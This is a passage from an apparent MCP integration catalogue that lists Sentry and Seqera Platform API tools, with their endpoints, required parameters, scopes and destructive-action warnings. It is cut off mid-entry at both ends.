sentry_list_organization_scim_v2_groups (read) — List an Organization's Paginated Teams. GET /api/0/organizations/{organization_id_or_slug}/scim/v2/Groups on Sentry. Requires organization_id_or_slug. GET /api/v1/tools/sentry/list-organization-scim-v2-groups. Scopes: team:admin. sentry_list_organization_scim_v2_users (read) — List an Organization's SCIM Members. GET /api/0/organizations/{organization_id_or_slug}/scim/v2/Users on Sentry. Requires organization_id_or_slug. GET /api/v1/tools/sentry/list-organization-scim-v2-users. Scopes: member:admin. sentry_list_organization_sentry_apps (read) — Retrieve the custom integrations created by an organization GET /api/v1/tools/sentry/list-organization-sentry-apps. Scopes: org:admin. sentry_list_organization_stats_v2 (read) — Retrieve Event Counts for an Organization (v2) GET /api/v1/tools/sentry/list-organization-stats-v2. Scopes: org:admin. sentry_list_organization_tags (read) — List an Organization's Tags. GET /api/0/organizations/{organization_id_or_slug}/tags/ on Sentry. Requires organization_id_or_slug. GET /api/v1/tools/sentry/list-organization-tags. Scopes: org:admin. sentry_list_organization_teams (read) — List an Organization's Teams. GET /api/0/organizations/{organization_id_or_slug}/teams/ on Sentry. Requires organization_id_or_slug. GET /api/v1/tools/sentry/list-organization-teams. Scopes: org:admin. sentry_list_organization_trace_item_attributes (read) — List Trace Item Attributes. GET /api/0/organizations/{organization_id_or_slug}/trace-items/attributes/ on Sentry. Requires organization_id_or_slug. GET /api/v1/tools/sentry/list-organization-trace-item-attributes. Scopes: org:admin. sentry_list_organization_user_teams (read) — List a User's Teams for an Organization. GET /api/0/organizations/{organization_id_or_slug}/user-teams/ on Sentry. Requires organization_id_or_slug. GET /api/v1/tools/sentry/list-organization-user-teams. Scopes: org:admin. sentry_list_organization_workflows (read) — Fetch Alerts. GET /api/0/organizations/{organization_id_or_slug}/workflows/ on Sentry. Requires organization_id_or_slug. GET /api/v1/tools/sentry/list-organization-workflows. Scopes: alerts:read. sentry_list_organizations (read) — List Your Organizations. GET /api/0/organizations/ on Sentry. GET /api/v1/tools/sentry/list-organizations. Scopes: org:admin. sentry_list_project_debug_files (read) — List a Project's Debug Information Files GET /api/v1/tools/sentry/list-project-debug-files. Scopes: org:ci. sentry_list_project_environments (read) — List a Project's Environments. GET /api/0/projects/{organization_id_or_slug}/{project_id_or_slug}/environments/ on Sentry. Requires organization_id_or_slug, project_id_or_slug. GET /api/v1/tools/sentry/list-project-environments. Scopes: project:admin. sentry_list_project_event_attachments (read) — List an Event's Attachments. GET /api/0/projects/{organization_id_or_slug}/{project_id_or_slug}/events/{event_id}/attachments/ on Sentry. Requires organization_id_or_slug, project_id_or_slug, event_id. GET /api/v1/tools/sentry/list-project-event-attachments. Scopes: project:admin. sentry_list_project_events (read) — List a Project's Error Events. GET /api/0/projects/{organization_id_or_slug}/{project_id_or_slug}/events/ on Sentry. Requires organization_id_or_slug, project_id_or_slug. GET /api/v1/tools/sentry/list-project-events. Scopes: project:admin. sentry_list_project_filters (read) — List a Project's Data Filters. GET /api/0/projects/{organization_id_or_slug}/{project_id_or_slug}/filters/ on Sentry. Requires organization_id_or_slug, project_id_or_slug. GET /api/v1/tools/sentry/list-project-filters. Scopes: project:admin. sentry_list_project_keys (read) — List a Project's Client Keys. GET /api/0/projects/{organization_id_or_slug}/{project_id_or_slug}/keys/ on Sentry. Requires organization_id_or_slug, project_id_or_slug. GET /api/v1/tools/sentry/list-project-keys. Scopes: project:admin. sentry_list_project_members (read) — List a Project's Organization Members. GET /api/0/projects/{organization_id_or_slug}/{project_id_or_slug}/members/ on Sentry. Requires organization_id_or_slug, project_id_or_slug. GET /api/v1/tools/sentry/list-project-members. Scopes: project:admin. sentry_list_project_monitor_checkins (read) — Retrieve Check-Ins for a Monitor by Project GET /api/v1/tools/sentry/list-project-monitor-checkins. Scopes: alerts:read. sentry_list_project_release_commits (read) — List a Project Release's Commits. GET /api/0/projects/{organization_id_or_slug}/{project_id_or_slug}/releases/{version}/commits/ on Sentry. Requires organization_id_or_slug, project_id_or_slug, version. GET /api/v1/tools/sentry/list-project-release-commits. Scopes: org:ci. sentry_list_project_release_files (read) — List a Project's Release Files. GET /api/0/projects/{organization_id_or_slug}/{project_id_or_slug}/releases/{version}/files/ on Sentry. Requires organization_id_or_slug, project_id_or_slug, version. GET /api/v1/tools/sentry/list-project-release-files. Scopes: org:ci. sentry_list_project_releases (read) — List a Project's Releases. GET /api/0/projects/{organization_id_or_slug}/{project_id_or_slug}/releases/ on Sentry. Requires organization_id_or_slug, project_id_or_slug. GET /api/v1/tools/sentry/list-project-releases. Scopes: org:ci. sentry_list_project_replay_clicks (read) — List Clicked Nodes. GET /api/0/projects/{organization_id_or_slug}/{project_id_or_slug}/replays/{replay_id}/clicks/ on Sentry. Requires organization_id_or_slug, project_id_or_slug, replay_id. GET /api/v1/tools/sentry/list-project-replay-clicks. Scopes: project:admin. sentry_list_project_replay_deletion_jobs (read) — List Replay Batch-Deletion Jobs. GET /api/0/projects/{organization_id_or_slug}/{project_id_or_slug}/replays/jobs/delete/ on Sentry. Requires organization_id_or_slug, project_id_or_slug. GET /api/v1/tools/sentry/list-project-replay-deletion-jobs. Scopes: project:admin. sentry_list_project_replay_recording_segments (read) — List Recording Segments. GET /api/0/projects/{organization_id_or_slug}/{project_id_or_slug}/replays/{replay_id}/recording-segments/ on Sentry. Requires organization_id_or_slug, project_id_or_slug, replay_id. GET /api/v1/tools/sentry/list-project-replay-recording-segments. Scopes: project:admin. sentry_list_project_replay_viewed_by (read) — List Users Who Have Viewed a Replay. GET /api/0/projects/{organization_id_or_slug}/{project_id_or_slug}/replays/{replay_id}/viewed-by/ on Sentry. Requires organization_id_or_slug, project_id_or_slug, replay_id. GET /api/v1/tools/sentry/list-project-replay-viewed-by. Scopes: event:admin. sentry_list_project_stats (read) — Retrieve Event Counts for a Project. GET /api/0/projects/{organization_id_or_slug}/{project_id_or_slug}/stats/ on Sentry. Requires organization_id_or_slug, project_id_or_slug. GET /api/v1/tools/sentry/list-project-stats. Scopes: project:admin. sentry_list_project_symbol_sources (read) — Retrieve a Project's Symbol Sources. GET /api/0/projects/{organization_id_or_slug}/{project_id_or_slug}/symbol-sources/ on Sentry. Requires organization_id_or_slug, project_id_or_slug. GET /api/v1/tools/sentry/list-project-symbol-sources. Scopes: project:admin. sentry_list_project_teams (read) — List a Project's Teams. GET /api/0/projects/{organization_id_or_slug}/{project_id_or_slug}/teams/ on Sentry. Requires organization_id_or_slug, project_id_or_slug. GET /api/v1/tools/sentry/list-project-teams. Scopes: project:admin. sentry_list_project_users (read) — List a Project's Users. GET /api/0/projects/{organization_id_or_slug}/{project_id_or_slug}/users/ on Sentry. Requires organization_id_or_slug, project_id_or_slug. GET /api/v1/tools/sentry/list-project-users. Scopes: project:admin. sentry_list_seer_models (read) — List Seer AI Models. GET /api/0/seer/models/ on Sentry. GET /api/v1/tools/sentry/list-seer-models. Scopes: org:read. sentry_list_team_members (read) — List a Team's Members. GET /api/0/teams/{organization_id_or_slug}/{team_id_or_slug}/members/ on Sentry. Requires organization_id_or_slug, team_id_or_slug. GET /api/v1/tools/sentry/list-team-members. Scopes: team:admin. sentry_list_team_projects (read) — List a Team's Projects. GET /api/0/teams/{organization_id_or_slug}/{team_id_or_slug}/projects/ on Sentry. Requires organization_id_or_slug, team_id_or_slug. GET /api/v1/tools/sentry/list-team-projects. Scopes: project:admin. sentry_provision_organization_scim_v2_group (write) — Provision a New Team. POST /api/0/organizations/{organization_id_or_slug}/scim/v2/Groups on Sentry. Requires organization_id_or_slug, display_name. POST /api/v1/tools/sentry/provision-organization-scim-v2-group. Scopes: team:admin. sentry_provision_organization_scim_v2_user (write) — Provision a New Organization Member. POST /api/0/organizations/{organization_id_or_slug}/scim/v2/Users on Sentry. Requires organization_id_or_slug, user_name. POST /api/v1/tools/sentry/provision-organization-scim-v2-user. Scopes: member:admin. sentry_remove_a_service_hook (write, destructive) — DESTRUCTIVE — Remove a service hook. DELETE /api/0/projects/{organization_id_or_slug}/{project_id_or_slug}/hooks/{hook_id}/ on Sentry. Requires organization_id_or_slug, project_id_or_slug, hook_id. POST /api/v1/tools/sentry/remove-a-service-hook. Scopes: project:admin. sentry_resolve_organization_event_id (read) — Resolve an Event ID. GET /api/0/organizations/{organization_id_or_slug}/eventids/{event_id}/ on Sentry. Requires organization_id_or_slug, event_id. GET /api/v1/tools/sentry/resolve-organization-event-id. Scopes: org:admin. sentry_resolve_organization_short_id (read) — Resolve a Short ID. GET /api/0/organizations/{organization_id_or_slug}/shortids/{issue_id}/ on Sentry. Requires organization_id_or_slug, issue_id. GET /api/v1/tools/sentry/resolve-organization-short-id. Scopes: event:admin. sentry_retrieve_a_service_hook (read) — Return a service hook bound to a project. GET /api/v1/tools/sentry/retrieve-a-service-hook. Scopes: project:read. sentry_retrieve_an_integration_s_issue_config_for_an_issue (read) — Retrieve the form fields needed to either link an existing external issue (such as a Jira ticket or GitHub issue) to a Sentry issue, or create a new one. The returned `linkIssueConfig`/`createIssueConfig` describes the fields to submit back to this endpoint... GET /api/v1/tools/sentry/retrieve-an-integration-s-issue-config-for-an-issue. Scopes: event:admin. sentry_retrieve_files_changed_in_a_release_s_commits (read) — Retrieve files changed in a release's commits GET /api/v1/tools/sentry/retrieve-files-changed-in-a-release-s-commits. Scopes: project:releases. sentry_retrieve_trace_item_statistics (read) — Compute statistics, such as attribute value distributions, over the trace items (spans or occurrences) matching the given query within the requested time range. GET /api/v1/tools/sentry/retrieve-trace-item-statistics. Scopes: org:admin. sentry_start_organization_issue_autofix (write) — Start Seer Issue Fix. POST /api/0/organizations/{organization_id_or_slug}/issues/{issue_id}/autofix/ on Sentry. Requires organization_id_or_slug, issue_id. POST /api/v1/tools/sentry/start-organization-issue-autofix. Scopes: event:admin. sentry_submit_user_feedback (write) — *This endpoint is DEPRECATED. We document it here for older SDKs and users who are still migrating to the [User Feedback Widget](https://docs.sentry.io/product/user-feedback/#user-feedback-widget) or... POST /api/v1/tools/sentry/submit-user-feedback. Scopes: project:write. sentry_unlink_an_external_issue_from_an_issue (write, destructive) — DESTRUCTIVE - Remove the link between a Sentry issue and an external issue. If no other Sentry issues reference the external issue, the link record is deleted entirely. This does not delete the issue in the external provider. POST /api/v1/tools/sentry/unlink-an-external-issue-from-an-issue. Scopes: event:admin. sentry_update_organization (write) — Update an Organization. PUT /api/0/organizations/{organization_id_or_slug}/ on Sentry. Requires organization_id_or_slug. POST /api/v1/tools/sentry/update-organization. Scopes: org:admin. sentry_update_organization_dashboard (write) — Edit an Organization's Custom Dashboard. PUT /api/0/organizations/{organization_id_or_slug}/dashboards/{dashboard_id}/ on Sentry. Requires organization_id_or_slug, dashboard_id. POST /api/v1/tools/sentry/update-organization-dashboard. Scopes: org:admin. sentry_update_organization_detector (write) — Update a Monitor by ID. PUT /api/0/organizations/{organization_id_or_slug}/detectors/{detector_id}/ on Sentry. Requires organization_id_or_slug, detector_id, name, type. POST /api/v1/tools/sentry/update-organization-detector. Scopes: alerts:write. sentry_update_organization_detectors (write) — Mutate an Organization's Monitors. PUT /api/0/organizations/{organization_id_or_slug}/detectors/ on Sentry. Requires organization_id_or_slug, enabled. POST /api/v1/tools/sentry/update-organization-detectors. Scopes: alerts:write. sentry_update_organization_discover_saved_query (write) — Edit an Organization's Discover Saved Query POST /api/v1/tools/sentry/update-organization-discover-saved-query. Scopes: org:admin. sentry_update_organization_external_user (write) — Update an External User. PUT /api/0/organizations/{organization_id_or_slug}/external-users/{external_user_id}/ on Sentry. Requires organization_id_or_slug, external_user_id, user_id, external_name, provider, integration_id. POST /api/v1/tools/sentry/update-organization-external-user. Scopes: org:admin. sentry_update_organization_forwarding (write) — Update a Data Forwarder for an Organization POST /api/v1/tools/sentry/update-organization-forwarding. Scopes: org:write. sentry_update_organization_issue (write) — Update an Issue. PUT /api/0/organizations/{organization_id_or_slug}/issues/{issue_id}/ on Sentry. Requires organization_id_or_slug, issue_id, inbox, status, status_details, substatus, has_seen, is_bookmarked, is_public, is_subscribed, merge, discard, assigned_to, priority. POST /api/v1/tools/sentry/update-organization-issue. Scopes: event:admin. sentry_update_organization_issues (write) — Bulk Mutate an Organization's Issues. PUT /api/0/organizations/{organization_id_or_slug}/issues/ on Sentry. Requires organization_id_or_slug, inbox, status, status_details, substatus, has_seen, is_bookmarked, is_public, is_subscribed, merge, discard, assigned_to, priority. POST /api/v1/tools/sentry/update-organization-issues. Scopes: event:admin. sentry_update_organization_member (write) — Update an Organization Member's Roles. PUT /api/0/organizations/{organization_id_or_slug}/members/{member_id}/ on Sentry. Requires organization_id_or_slug, member_id. POST /api/v1/tools/sentry/update-organization-member. Scopes: member:admin. sentry_update_organization_member_team (write) — Update an Organization Member's Team Role POST /api/v1/tools/sentry/update-organization-member-team. Scopes: member:admin. sentry_update_organization_monitor (write) — Update a Monitor. PUT /api/0/organizations/{organization_id_or_slug}/monitors/{monitor_id_or_slug}/ on Sentry. Requires organization_id_or_slug, monitor_id_or_slug, project, name, config. POST /api/v1/tools/sentry/update-organization-monitor. Scopes: alerts:write. sentry_update_organization_notifications_action (write) — Update a Spike Protection Notification Action POST /api/v1/tools/sentry/update-organization-notifications-action. Scopes: org:admin. sentry_update_organization_release (write) — Update an Organization's Release. PUT /api/0/organizations/{organization_id_or_slug}/releases/{version}/ on Sentry. Requires organization_id_or_slug, version. POST /api/v1/tools/sentry/update-organization-release. Scopes: org:ci. sentry_update_organization_release_file (write) — Update an Organization Release File. PUT /api/0/organizations/{organization_id_or_slug}/releases/{version}/files/{file_id}/ on Sentry. Requires organization_id_or_slug, version, file_id, name. POST /api/v1/tools/sentry/update-organization-release-file. Scopes: org:ci. sentry_update_organization_scim_v2_group (write) — Update a Team's Attributes. PATCH /api/0/organizations/{organization_id_or_slug}/scim/v2/Groups/{team_id_or_slug} on Sentry. Requires organization_id_or_slug, team_id_or_slug, operations. POST /api/v1/tools/sentry/update-organization-scim-v2-group. Scopes: team:admin. sentry_update_organization_scim_v2_user (write) — Update an Organization Member's Attributes POST /api/v1/tools/sentry/update-organization-scim-v2-user. Scopes: member:admin. sentry_update_organization_workflow (write) — Update an Alert by ID. PUT /api/0/organizations/{organization_id_or_slug}/workflows/{workflow_id}/ on Sentry. Requires organization_id_or_slug, workflow_id, name. POST /api/v1/tools/sentry/update-organization-workflow. Scopes: alerts:write. sentry_update_organization_workflows (write) — Mutate an Organization's Alerts. PUT /api/0/organizations/{organization_id_or_slug}/workflows/ on Sentry. Requires organization_id_or_slug, enabled. POST /api/v1/tools/sentry/update-organization-workflows. Scopes: alerts:write. sentry_update_project (write) — Update a Project. PUT /api/0/projects/{organization_id_or_slug}/{project_id_or_slug}/ on Sentry. Requires organization_id_or_slug, project_id_or_slug. POST /api/v1/tools/sentry/update-project. Scopes: project:admin. sentry_update_project_environment (write) — Update a Project Environment. PUT /api/0/projects/{organization_id_or_slug}/{project_id_or_slug}/environments/{environment}/ on Sentry. Requires organization_id_or_slug, project_id_or_slug, environment, is_hidden. POST /api/v1/tools/sentry/update-project-environment. Scopes: project:admin. sentry_update_project_filter (write) — Update an Inbound Data Filter. PUT /api/0/projects/{organization_id_or_slug}/{project_id_or_slug}/filters/{filter_id}/ on Sentry. Requires organization_id_or_slug, project_id_or_slug, filter_id. POST /api/v1/tools/sentry/update-project-filter. Scopes: project:admin. sentry_update_project_key (write) — Update a Client Key. PUT /api/0/projects/{organization_id_or_slug}/{project_id_or_slug}/keys/{key_id}/ on Sentry. Requires organization_id_or_slug, project_id_or_slug, key_id. POST /api/v1/tools/sentry/update-project-key. Scopes: project:admin. sentry_update_project_monitor (write) — Update a Monitor for a Project. PUT /api/0/projects/{organization_id_or_slug}/{project_id_or_slug}/monitors/{monitor_id_or_slug}/ on Sentry. Requires organization_id_or_slug, project_id_or_slug, monitor_id_or_slug, project, name, config. POST /api/v1/tools/sentry/update-project-monitor. Scopes: alerts:write. sentry_update_project_ownership (write) — Update Ownership Configuration for a Project POST /api/v1/tools/sentry/update-project-ownership. Scopes: project:admin. sentry_update_project_release_file (write) — Update a Project Release File. PUT /api/0/projects/{organization_id_or_slug}/{project_id_or_slug}/releases/{version}/files/{file_id}/ on Sentry. Requires organization_id_or_slug, project_id_or_slug, version, file_id, name. POST /api/v1/tools/sentry/update-project-release-file. Scopes: org:ci. sentry_update_project_symbol_source (write) — Update a Project's Symbol Source. PUT /api/0/projects/{organization_id_or_slug}/{project_id_or_slug}/symbol-sources/ on Sentry. Requires organization_id_or_slug, project_id_or_slug, id, type, name. POST /api/v1/tools/sentry/update-project-symbol-source. Scopes: project:admin. sentry_update_sentry_app (write) — Update an existing custom integration. PUT /api/0/sentry-apps/{sentry_app_id_or_slug}/ on Sentry. Requires sentry_app_id_or_slug, name, scopes. POST /api/v1/tools/sentry/update-sentry-app. Scopes: org:admin. sentry_update_team (write) — Update a Team. PUT /api/0/teams/{organization_id_or_slug}/{team_id_or_slug}/ on Sentry. Requires organization_id_or_slug, team_id_or_slug, slug. POST /api/v1/tools/sentry/update-team. Scopes: team:admin. sentry_update_team_external_team (write) — Update an External Team. PUT /api/0/teams/{organization_id_or_slug}/{team_id_or_slug}/external-teams/{external_team_id}/ on Sentry. Requires organization_id_or_slug, team_id_or_slug, external_team_id, external_name, provider, integration_id. POST /api/v1/tools/sentry/update-team-external-team. Scopes: team:admin. sentry_upload_organization_release_file (write) — Upload a New Organization Release File. POST /api/0/organizations/{organization_id_or_slug}/releases/{version}/files/ on Sentry. Requires organization_id_or_slug, version. POST /api/v1/tools/sentry/upload-organization-release-file. Scopes: org:ci. sentry_upload_project_preprod_artifact_snapshot (write) — Upload a Snapshot. POST /api/0/projects/{organization_id_or_slug}/{project_id_or_slug}/preprodartifacts/snapshots/ on Sentry. Requires organization_id_or_slug, project_id_or_slug. POST /api/v1/tools/sentry/upload-project-preprod-artifact-snapshot. Scopes: org:ci. sentry_upload_project_release_file (write) — Upload a New Project Release File. POST /api/0/projects/{organization_id_or_slug}/{project_id_or_slug}/releases/{version}/files/ on Sentry. Requires organization_id_or_slug, project_id_or_slug, version. POST /api/v1/tools/sentry/upload-project-release-file. Scopes: org:ci. ================================================================================ ## Seqera Platform URL: https://www.agenticfabriq.com/integrations/seqera Section: Integrated Tools Seqera Platform — 261 MCP tools Provider key: seqera. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. seqera_delete_actions_by_actionid (write, destructive) — Delete action via DELETE /actions/{actionId}. Deletes the pipeline action identified by the given `actionId`. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. DESTRUCTIVE: the resource is removed and there is no undo through this API. Read it first with the matching Describe or List tool if you may need what it held. DELETE /api/v1/seqera/actions/{actionId}. Scopes: api. seqera_delete_agents_by_agentid (write, destructive) — Delete agent via DELETE /agents/{agentId}. Tombstones an agent in a workspace. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. DESTRUCTIVE: the resource is removed and there is no undo through this API. Read it first with the matching Describe or List tool if you may need what it held. DELETE /api/v1/seqera/agents/{agentId}. Scopes: api. seqera_delete_compute_envs_by_computeenvid (write, destructive) — Delete compute environment via DELETE /compute-envs/{computeEnvId}. Deletes the compute environment identified by the given `computeEnvId`. When `force=true`, bypasses active-job checks and SCMS/forge cleanup; only allowed for environments in ERRORED, INVALID, or DELETING status. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. DESTRUCTIVE: the resource is removed and there is no undo through this API. Read it first with the matching Describe or List tool if you may need what it held. DELETE /api/v1/seqera/compute-envs/{computeEnvId}. Scopes: api. seqera_delete_credentials_by_credentialsid (write, destructive) — Delete credentials via DELETE /credentials/{credentialsId}. Deletes the credentials identified by the given `credentialsId`. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. DESTRUCTIVE: the resource is removed and there is no undo through this API. Read it first with the matching Describe or List tool if you may need what it held. DELETE /api/v1/seqera/credentials/{credentialsId}. Scopes: api. seqera_delete_data_links_by_datalinkid (write, destructive) — Delete data-link via DELETE /data-links/{dataLinkId}. Deletes the data-link associated with the given `dataLinkId`. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. DESTRUCTIVE: the resource is removed and there is no undo through this API. Read it first with the matching Describe or List tool if you may need what it held. DELETE /api/v1/seqera/data-links/{dataLinkId}. Scopes: api. seqera_delete_data_links_by_datalinkid_content (write, destructive) — Delete data-link content via DELETE /data-links/{dataLinkId}/content. Deletes the content of the data-link associated with the given `dataLinkId`. The data-link itself is preserved. Deletes the files and directories named in the body from the data link's underlying storage -- an object-store delete, not a Seqera-side bookkeeping change. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. DESTRUCTIVE: the resource is removed and there is no undo through this API. Read it first with the matching Describe or List tool if you may need what it held. DELETE /api/v1/seqera/data-links/{dataLinkId}/content. Scopes: api. seqera_delete_datasets (write, destructive) — Delete several datasets at once via DELETE /datasets. Deletes the dataset identified by the given `datasetId`. Deletes EVERY dataset named in `datasetIds` in one call. The ids are in the request body rather than the path because there is more than one; there is no partial-success report, so name only what you have already described. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. DESTRUCTIVE: the resource is removed and there is no undo through this API. Read it first with the matching Describe or List tool if you may need what it held. DELETE /api/v1/seqera/datasets. Scopes: api. seqera_delete_datasets_by_datasetid (write, destructive) — Delete dataset (v2, workspace as a query parameter) via DELETE /datasets/{datasetId}. Deletes the dataset identified by the given `datasetId`. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. DESTRUCTIVE: the resource is removed and there is no undo through this API. Read it first with the matching Describe or List tool if you may need what it held. DELETE /api/v1/seqera/datasets/{datasetId}. Scopes: api. seqera_delete_identities_by_managedidentityid (write, destructive) — Delete a Managed Identity via DELETE /identities/{managedIdentityId}. Delete a Managed Identity identified by the given ID. DESTRUCTIVE: the resource is removed and there is no undo through this API. Read it first with the matching Describe or List tool if you may need what it held. DELETE /api/v1/seqera/identities/{managedIdentityId}. Scopes: api. seqera_delete_identities_by_managedidentityid_credentials_by_managedcredentialsid (write, destructive) — Delete a user's Managed Credentials record belonging to a Managed Identity via DELETE /identities/{managedIdentityId}/credentials/{managedCredentialsId}. Delete Managed Credentials. DESTRUCTIVE: the resource is removed and there is no undo through this API. Read it first with the matching Describe or List tool if you may need what it held. DELETE /api/v1/seqera/identities/{managedIdentityId}/credentials/{managedCredentialsId}. Scopes: api. seqera_delete_labels_by_labelid (write, destructive) — Delete label via DELETE /labels/{labelId}. Deletes the label identified by the given `labelId`. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. DESTRUCTIVE: the resource is removed and there is no undo through this API. Read it first with the matching Describe or List tool if you may need what it held. DELETE /api/v1/seqera/labels/{labelId}. Scopes: api. seqera_delete_orgs_by_orgid (write, destructive) — Delete organization via DELETE /orgs/{orgId}. Deletes the organization identified by the given `orgId`. DESTRUCTIVE: the resource is removed and there is no undo through this API. Read it first with the matching Describe or List tool if you may need what it held. DELETE /api/v1/seqera/orgs/{orgId}. Scopes: api. seqera_delete_orgs_by_orgid_idp_groups_by_groupid (write, destructive) — Remove an IdP group from the catalog via DELETE /orgs/{orgId}/idp-groups/{groupId}. Removes a manually-entered group from the catalog. SCIM-managed groups cannot be deleted via this endpoint. DESTRUCTIVE: the resource is removed and there is no undo through this API. Read it first with the matching Describe or List tool if you may need what it held. DELETE /api/v1/seqera/orgs/{orgId}/idp-groups/{groupId}. Scopes: api. seqera_delete_orgs_by_orgid_members_by_memberid (write, destructive) — Delete member via DELETE /orgs/{orgId}/members/{memberId}. Deletes the member identified by the given `memberId`. DESTRUCTIVE: the resource is removed and there is no undo through this API. Read it first with the matching Describe or List tool if you may need what it held. DELETE /api/v1/seqera/orgs/{orgId}/members/{memberId}. Scopes: api. seqera_delete_orgs_by_orgid_members_leave (write, destructive) — Leave organization via DELETE /orgs/{orgId}/members/leave. Removes the requesting user from the organization identified by the given `orgId`. DESTRUCTIVE: the resource is removed and there is no undo through this API. Read it first with the matching Describe or List tool if you may need what it held. DELETE /api/v1/seqera/orgs/{orgId}/members/leave. Scopes: api. seqera_delete_orgs_by_orgid_scim_token (write, destructive) — Revoke the active SCIM bearer token via DELETE /orgs/{orgId}/scim/token. Revokes the active SCIM bearer token for the organization. Returns 404 if no active token exists. DESTRUCTIVE: the resource is removed and there is no undo through this API. Read it first with the matching Describe or List tool if you may need what it held. DELETE /api/v1/seqera/orgs/{orgId}/scim/token. Scopes: api. seqera_delete_orgs_by_orgid_teams_by_teamid (write, destructive) — Delete team via DELETE /orgs/{orgId}/teams/{teamId}. Deletes the team identified by the given `teamId`. DESTRUCTIVE: the resource is removed and there is no undo through this API. Read it first with the matching Describe or List tool if you may need what it held. DELETE /api/v1/seqera/orgs/{orgId}/teams/{teamId}. Scopes: api. seqera_delete_orgs_by_orgid_teams_by_teamid_members_by_memberid_delete (write, destructive) — Delete team member via DELETE /orgs/{orgId}/teams/{teamId}/members/{memberId}/delete. Deletes the team member identified by the given `memberId`. DESTRUCTIVE: the resource is removed and there is no undo through this API. Read it first with the matching Describe or List tool if you may need what it held. DELETE /api/v1/seqera/orgs/{orgId}/teams/{teamId}/members/{memberId}/delete. Scopes: api. seqera_delete_orgs_by_orgid_workspaces_by_workspaceid (write, destructive) — Delete workspace via DELETE /orgs/{orgId}/workspaces/{workspaceId}. Deletes the workspace identified by the given `workspaceId`. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. DESTRUCTIVE: the resource is removed and there is no undo through this API. Read it first with the matching Describe or List tool if you may need what it held. DELETE /api/v1/seqera/orgs/{orgId}/workspaces/{workspaceId}. Scopes: api. seqera_delete_orgs_by_orgid_workspaces_by_workspaceid_participants (write, destructive) — Leave workspace via DELETE /orgs/{orgId}/workspaces/{workspaceId}/participants. Removes the requesting user from the given workspace. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. DESTRUCTIVE: the resource is removed and there is no undo through this API. Read it first with the matching Describe or List tool if you may need what it held. DELETE /api/v1/seqera/orgs/{orgId}/workspaces/{workspaceId}/participants. Scopes: api. seqera_delete_orgs_by_orgid_workspaces_by_workspaceid_participants_by_participantid (write, destructive) — Delete workspace participant via DELETE /orgs/{orgId}/workspaces/{workspaceId}/participants/{participantId}. Deletes the given participant from the given workspace. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. DESTRUCTIVE: the resource is removed and there is no undo through this API. Read it first with the matching Describe or List tool if you may need what it held. DELETE /api/v1/seqera/orgs/{orgId}/workspaces/{workspaceId}/participants/{participantId}. Scopes: api. seqera_delete_orgs_by_orgid_workspaces_by_workspaceid_users_by_userid (write, destructive) — Delete workspace user via DELETE /orgs/{orgId}/workspaces/{workspaceId}/users/{userId}. Deletes the given user (member or collaborator) from the given workspace. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. DESTRUCTIVE: the resource is removed and there is no undo through this API. Read it first with the matching Describe or List tool if you may need what it held. DELETE /api/v1/seqera/orgs/{orgId}/workspaces/{workspaceId}/users/{userId}. Scopes: api. seqera_delete_pipeline_secrets_by_secretid (write, destructive) — Delete secret via DELETE /pipeline-secrets/{secretId}. Deletes the pipeline secret identified by the given `secretId`. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. DESTRUCTIVE: the resource is removed and there is no undo through this API. Read it first with the matching Describe or List tool if you may need what it held. DELETE /api/v1/seqera/pipeline-secrets/{secretId}. Scopes: api. seqera_delete_pipelines_by_pipelineid (write, destructive) — Delete pipeline via DELETE /pipelines/{pipelineId}. Deletes the pipeline identified by the given `pipelineId`. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. DESTRUCTIVE: the resource is removed and there is no undo through this API. Read it first with the matching Describe or List tool if you may need what it held. DELETE /api/v1/seqera/pipelines/{pipelineId}. Scopes: api. seqera_delete_roles_by_rolename (write, destructive) — Delete a role with the given name via DELETE /roles/{roleName}. DESTRUCTIVE: the resource is removed and there is no undo through this API. Read it first with the matching Describe or List tool if you may need what it held. DELETE /api/v1/seqera/roles/{roleName}. Scopes: api. seqera_delete_ssh_keys_by_keyid (write, destructive) — Delete SSH key via DELETE /ssh-keys/{keyId}. Deletes the given SSH public key by its ID. DESTRUCTIVE: the resource is removed and there is no undo through this API. Read it first with the matching Describe or List tool if you may need what it held. DELETE /api/v1/seqera/ssh-keys/{keyId}. Scopes: api. seqera_delete_studios_by_sessionid (write, destructive) — Delete Studio via DELETE /studios/{sessionId}. Deletes the Studio associated with the given Studio session ID. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. DESTRUCTIVE: the resource is removed and there is no undo through this API. Read it first with the matching Describe or List tool if you may need what it held. DELETE /api/v1/seqera/studios/{sessionId}. Scopes: api. seqera_delete_studios_by_sessionid_star (write, destructive) — Unstar studio via DELETE /studios/{sessionId}/star. Removes the studio identified by the given `sessionId` from your list of starred studios. `workspaceId` is Seqera's numeric workspace id (see List workspaces); omitting it addresses the token owner's personal context. DESTRUCTIVE: the resource is removed and there is no undo through this API. Read it first with the matching Describe or List tool if you may need what it held. DELETE 